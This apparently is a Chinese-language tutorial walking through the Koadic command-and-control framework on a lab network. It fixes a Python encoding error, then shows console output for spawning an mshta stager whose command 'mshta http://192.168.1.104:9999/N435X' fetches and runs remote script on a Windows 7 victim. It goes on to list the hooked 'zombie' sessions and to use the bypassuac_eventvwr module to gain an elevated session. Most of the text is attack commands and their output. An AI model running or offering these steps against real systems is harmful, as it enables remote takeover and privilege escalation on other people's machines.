(koadic: sta/js/mshta)# ---------------------------------------- Exception happened during processing of request from ('192.168.1.110', 49159) Traceback (most recent call last): File "/usr/lib/python2.7/SocketServer.py", line 596, in process_request_thread self.finish_request(request, client_address) File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request self.RequestHandlerClass(request, client_address, self) File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__ self.handle() File "/root/koadic/core/handler.py", line 90, in handle return BaseHTTPRequestHandler.handle(self) File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle self.handle_one_request() File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request method() File "/root/koadic/core/handler.py", line 169, in do_POST self.session.parse_user_info(data) File "/root/koadic/core/session.py", line 56, in parse_user_info data = data.decode().split("~~~") UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128) ---------------------------------------- [!] Zombie 0: Timed out.
就是下面这个错误 UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128) 你只要把字符编码换成utf-8就好了 怎么做呢看下面 首先退出程序 打开下面这个文件 vim koadic
import sys reload(sys) sys.setdefaultencoding('utf-8') # Copyright (c) 2016 - 2017 RiskSense, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use the software except in compliance with the License. # # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License.
# Disclaimer: # Usage of Koadic for attacking targets without prior mutual consent is illegal. # It is the end user's responsibility to obey all applicable local, state, # federal, and international laws. Developers assume no liability and are not # responsible for any misuse or damage caused by this program.
(koadic: sta/js/mshta)# use stager/js/mshta (koadic: sta/js/mshta)# set LHOST 192.168.1.104 [+] LHOST => 192.168.1.104 (koadic: sta/js/mshta)# run [+] Spawned a stager at http://192.168.1.104:9999/N435X [>] mshta http://192.168.1.104:9999/N435X [+] Zombie 0: Staging new connection (192.168.1.110) [+] Zombie 0: WIN-HK90RUM6L1B\bboysoul @ WIN-HK90RUM6L1B -- Microsoft Windows 7 专业版 (koadic: sta/js/mshta)#
之后我们进行权限提升也就是uac bypass
输入zombies来查看我们控制的机器
1 2 3 4 5 6 7
(koadic: sta/js/mshta)# zombies
ID IP STATUS LAST SEEN --- --------- ------- ------------ 0 192.168.1.110 Alive 2017-11-25 21:27:46
Use "zombies ID"for detailed information about a session.
输入zombies 0可以查看这台机器的详细信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
(koadic: sta/js/mshta)# zombies 0
ID: 0 Status: Alive Last Seen: 2017-11-25 21:28:42
IP: 192.168.1.110 User: WIN-HK90RUM6L1B\bboysoul Hostname: WIN-HK90RUM6L1B Primary DC: Unknown OS: Microsoft Windows 7 专业版 OSArch: 64-bit Elevated: No
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Session Key: f4d7735b8a9d45a5a74ed5a63a164421
JOB NAME STATUS ERRNO ---- --------- ------- -------
可以看到Elevated这里显示no表示我们没有进行提权 输入 use implant/elevate/bypassuac_eventvwr 查看一下这个模块的信息
1 2 3 4 5 6
(koadic: imp/ele/bypassuac_eventvwr)# info
NAME VALUE REQ DESCRIPTION ----- ------------ ---- ------------- PAYLOAD yes run payloads for a list ZOMBIE ALL yes the zombie to target
ID IP STATUS LAST SEEN --- --------- ------- ------------ 0 192.168.1.110 Alive 2017-11-25 21:43:00 1* 192.168.1.110 Alive 2017-11-25 21:43:00
Use "zombies ID"for detailed information about a session.
看一下zombie 1的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
(koadic: imp/ele/bypassuac_eventvwr)# zombies 1
ID: 1 Status: Alive Last Seen: 2017-11-25 21:45:35
IP: 192.168.1.110 User: WIN-HK90RUM6L1B\bboysoul* Hostname: WIN-HK90RUM6L1B Primary DC: Unknown OS: Microsoft Windows 7 专业版 OSArch: 64-bit Elevated: YES!
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Session Key: c42dec18786a47f2bc4ee023dc8f69bd
JOB NAME STATUS ERRNO ---- --------- ------- -------
